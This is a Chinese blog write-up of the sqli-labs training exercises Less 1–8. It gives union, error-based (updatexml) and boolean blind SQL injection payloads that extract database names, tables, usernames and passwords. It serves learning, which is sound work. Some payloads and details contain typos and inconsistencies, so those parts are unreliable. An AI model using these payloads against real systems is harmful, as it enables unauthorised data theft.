sqllab 1-8

Posted 满天星ak

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqllab 1-8相关的知识,希望对你有一定的参考价值。

写在前面

1.本着理解sql代码点来学习。
2.想要了解多种sql注入的类型和方式。
3.学了两年,啥也不是,现在反过来反省反省。
4.活在自己舒适区,想试图跳出来,别让自己在该奋斗的年纪选择躺平。
5.如有错误,希望各位师傅提出,我及时改正。

Sql注入

简介:常见的数据库攻击手段,用户通过在表单中填写包含 SQL 关键字的数据来使数据库执行非常 规代码的过程。
类型:
1.字符型注入
2.数字型注入
3.盲注
4.报错注入
5.联合查询注入
6.堆查询注入

less 1 基于错误的单引号字符注入

尝试手工注入,输入单引号,返回错误提示。
  报错信息:near “1” LIMIT 0,1‘ at line 1
这里-1的作用是查询不存在的值,使得结果为空,-1’ or 1=1 # //这里注释用错,换成 --+即可。

接下来就是进行常规的注入

-1' order by 1 --+ //显示上面的图,说明存在列数为1
-1' order by 4 --+ //报错,显示Unknown column '4' in 'order clause',说明存在列数为3
-1' union select 1,2,3 --+ //显示页面的位置
-1' union select 1,2,database() --+ //爆库
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+   //爆表
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+ //爆列
-1 ' union select 1,username,password from users --+ //爆数据

sql源码

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

  传入id类型为int,传入1‘#,前面的语句为’1‘,#将后面的给注释,加个;让服务器查找到并结束语句

less 2 基于错误的get整数注入

尝试单引号注入,发现注入得到

 猜测为get整数型注入,原因是有两双引号,多余一个引号没有闭合,把逗号去掉,显示数据。

-1 order by 1 --+       //先判断字段,由于是-1所以不显示数据,1的话就显示1的数据,当到4的时候显示Unknown column '4' in 'order clause',得到字段为3
-1 union select 1,database() --+ //获取数据库
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ // 获取表
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='' --+ // 获取字段
-1 union select 1,2,select 'id',(select 列名 from 库名.表名 limit 0.1) //获取数据

less 3 基于错误的字符型注入

加单引号,注入发现问题

 猜测类型为字符型注入,查看源码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; //这里增加了括号,用")"进行闭合即可。
-1') order by 1 --+ //判断字段,当判断到4不存在,即有3字段
-1') union select 1,2,database() --+ 
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ // 获取表
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='' --+ // 获取字段
-1') union select 1,2,select 'id',(select 列名 from 库名.表名 limit 0.1) //获取数据

less 4 双引号字符注入

正常访问:?id=1

 ?id=-1")
    ?id=-1") order by 1 --+ //字段为3
    ?id=-1") union select 1,2,database() --+ 
    ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ // 获取表
    ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='' --+ // 获取字段
    ?id=-1") union select 1,2,select 'id',(select 列名 from 库名.表名 limit 0.1) //获取数

 猜测类型:尝试1’还是正确访问,尝试1"显示错误,显示’“1"”) LIMIT 0,1’ at line 1,")没有被闭合,语句上1")闭合。为基于错误的GET双引号字符注入。

为什么1’没有显示报错,我们来看下源码。

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

 id是被引号包括的,包括的是单引号比如 ‘id’,那么我们添加单引号会导致引号未闭合,报错,那如果是’id"'这种,虽然双引号没有闭合,但是他在闭合的单引号里,所以这里他的作用只是一个引号,而不是闭合作用,这就解释了为何添加其他字符达不到闭合的目的。

less 5 布尔盲注

进行语句判断

url?id=1' and 1=1 --+  //显示you are in
url?id=1' and 1=2 --+  //未显示

 多次查询,该注入为盲注布尔注入,true为you are in ,false未显示。
只能用返回true和false

判断数据库的长度和数据库

url?id=1' and length(database())=8 --+

 注入到8为you are in,数据库长度为8

猜测数据库的基本信息的长度:
		截取数据库名的第一个字母:
			and ascii(substr(database(),1,1))=8 -- -  //第一个字符开始截取,截取一个长度
			使用bp爆破数字
			再将爆破的数字,用ascii码 编码转换器,解码成对应的字母
		判断mysql中数据库的数量:
			and (select count(*) from information_schema.schemata)=1 -- - 
			使用bp爆破数字,得出正确的长度
		判断第一个数据库名的长度:
			and (select length(schema_name) from information_schema.schemata limit 0,1)=1-- -
			使用爆破数字,得到正确的长度
		判断第一个数据库名的第一个字符:
			and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=1-- -
			解释:limit 0,1第一个库名 后面的1,1:截取库名的第一个字母 ————1,1表示:第一个字符向后截取一个长度

Less 6 报错注入

进行语句判断

?id=1 // you are in
?id=1' //you are in
?id=1" //"1"" LIMIT 0,1' at line 1

类型为双引号闭合的报错注入

?id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //查询user
?id=1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //查询数据库
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+//爆表名
 ?id=1" union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+ //用户名
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ //密码

updatexml

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

针对mysql

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

less 7

参考这位师傅博客

https://blog.csdn.net/YQavenger/article/details/108967912

less 8 单引号报错的布尔盲注

了解函数

length(str) 返回字符串的长度


  if(a, b, c) 若条件a为真,返回b,否则返回c

substr(str, pos, len) 从pos位置起截取str字符串len长度的子串并返回

ascii(str) 返回str第一个字符的ascii码


常用的ascii

0~9           48~57
A~Z          65~90
a~z           97~12

猜解信息

猜数据库长度
1' and length(database())>1 // 长度肯定大于1
1' and length(database())>7 //大于7
1' and length(database())>8 //不大于8
1' and length(database())=8 //数据库等于8
爆破数据库信息
    通过burp
    1' and (select ascii(substr(database(),1,1)))=115 --+
爆破数据表
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117 --+
第一个数据表 101,109,97,105,108,115 =>emails
第二个数据表 114,101,102,101,114,101,114,115 =>referers
第二个数据表 114,101,102,101,114,101,114,115 =>referers
第四个数据表 117,115,101,114,115 =>users
爆破字段
1' and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--+
第一个字段 117,115,101,114,95,105,100 =>user_id
第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name
爆用户名和密码
 1' and (select ascii(substr((select username from users limit 0,1),1,1)))=105--+
 1' and (select ascii(substr((select password from users limit 0,1),1,1)))=68--+

以上是关于sqllab 1-8的主要内容,如果未能解决你的问题,请参考以下文章

# sqllab-Less6-10

sqllab 1-6 练习

sqllab less 2- less 4

PCL异常处理:pcl 1.8.13rdpartyoostincludeoost-1_64oost ypeofmsvc ypeof_impl.hpp(125): error(代码片段

superset无法查询麒麟数据?

Superset 是不是支持后台异步数据源刷新?